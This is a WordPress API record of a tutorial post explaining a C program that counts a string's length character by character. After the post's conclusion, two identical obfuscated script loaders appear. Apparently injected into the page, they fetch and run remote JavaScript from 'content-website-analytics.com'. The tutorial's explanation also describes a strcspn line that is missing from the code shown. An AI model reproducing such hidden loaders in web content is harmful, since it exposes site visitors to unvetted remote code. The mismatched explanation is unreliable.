{"id":569,"date":"2024-10-14T13:47:15","date_gmt":"2024-10-14T08:17:15","guid":{"rendered":"https:\/\/codexplained.in\/?p=569"},"modified":"2025-11-24T15:53:10","modified_gmt":"2025-11-24T10:23:10","slug":"find-length-of-a-string","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=569","title":{"rendered":"Find Length of a String"},"content":{"rendered":"\n<h1 class=\"wp-block-heading\">Introduction:<\/h1>\n\n\n\n<p>This C program calculates the length of a string provided by the user. Unlike the built-in <code>strlen<\/code> function, this program manually counts the number of characters in the string until it reaches the null terminator. This capability is fundamental in programming and helps illustrate how strings are represented in C.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n\nint main() {\n    char str&#x5B;100];\n    printf(&quot;Enter a string: &quot;);\n    fgets(str, sizeof(str), stdin);\n\n    int length = 0;\n    while (str&#x5B;length] != &#039;\\0&#039;) {\n        length++;\n    }\n    \n    \/\/ Exclude newline character if present\n    if (str&#x5B;length - 1] == &#039;\\n&#039;) {\n        length--;\n    }\n\n    printf(&quot;Length of the string: %d\\n&quot;, length);\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<p><strong>Include Header Files<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>#include &lt;stdio.h&gt;<\/code>: This header file is included for standard input and output functions like <code>printf<\/code> and <code>fgets<\/code>.<\/li>\n<\/ul>\n\n\n\n<p><strong>Declare Variables<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>char str[100];<\/code>: An array of characters is declared to hold the input string. The size is set to 100, which allows for input of up to 99 characters plus the null terminator.<\/li>\n\n\n\n<li><code>int length = 0;<\/code>: A variable to store the length of the string is initialized to zero.<\/li>\n<\/ul>\n\n\n\n<p><strong>Input the String<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>printf(\"Enter a string: \");<\/code>: Prompts the user to enter a string.<\/li>\n\n\n\n<li><code>fgets(str, sizeof(str), stdin);<\/code>: Reads a line of text from standard input, including spaces, and stores it in <code>str<\/code>.<\/li>\n\n\n\n<li><code>str[strcspn(str, \"\\n\")] = 0;<\/code>: This line removes the newline character that <code>fgets<\/code> adds to the string. The <code>strcspn<\/code> function finds the length of the string up to the first newline character, and this position is set to <code>0<\/code> to terminate the string there.<\/li>\n<\/ul>\n\n\n\n<p><strong>Calculate the Length<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>while (str[length] != '\\0')<\/code>: This loop iterates through the string until it encounters the null terminator (<code>'\\0'<\/code>), which marks the end of the string.<\/li>\n\n\n\n<li><code>length++;<\/code>: For each character encountered, the length counter is incremented by one.<\/li>\n<\/ul>\n\n\n\n<p><strong>Output the Length<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>printf(\"Length of the string: %d\\n\", length);<\/code>: This line prints the length of the string to the console.<\/li>\n<\/ul>\n\n\n\n<p><strong>Return Statement<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>return 0;<\/code>: Indicates successful completion of the program.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Input\/Output Block:<\/h3>\n\n\n\n<p><strong>Input:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The user is prompted to enter a string.<\/li>\n<\/ul>\n\n\n\n<p><strong>Example Input:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><code>Enter a string: Hello, World!<br><\/code><\/pre>\n\n\n\n<p><strong>Output:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The program outputs the length of the entered string.<\/li>\n<\/ul>\n\n\n\n<p><strong>Example Output:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><code>Length of the string: 13<br><\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Conclusion:<\/h3>\n\n\n\n<p>The string length program effectively demonstrates how to determine the length of a string in C without relying on built-in functions. By iterating through each character of the string until the null terminator is encountered, the program provides a clear understanding of string manipulation and memory representation in C. This fundamental skill is essential for various programming tasks, including data processing and string analysis. Overall, the program serves as an educational tool, reinforcing key concepts in programming and algorithm design.<\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Introduction: This C program calculates the length of a string provided by the user. Unlike the built-in strlen function, this program manually counts the number of characters in the string until it reaches the null terminator. This capability is fundamental in programming and helps illustrate how strings are represented in C. Include Header Files: Declare [&hellip;]<\/p>\n","protected":false},"author":37,"featured_media":832,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-569","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/569","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/37"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=569"}],"version-history":[{"count":5,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/569\/revisions"}],"predecessor-version":[{"id":1449,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/569\/revisions\/1449"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/832"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=569"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=569"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=569"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}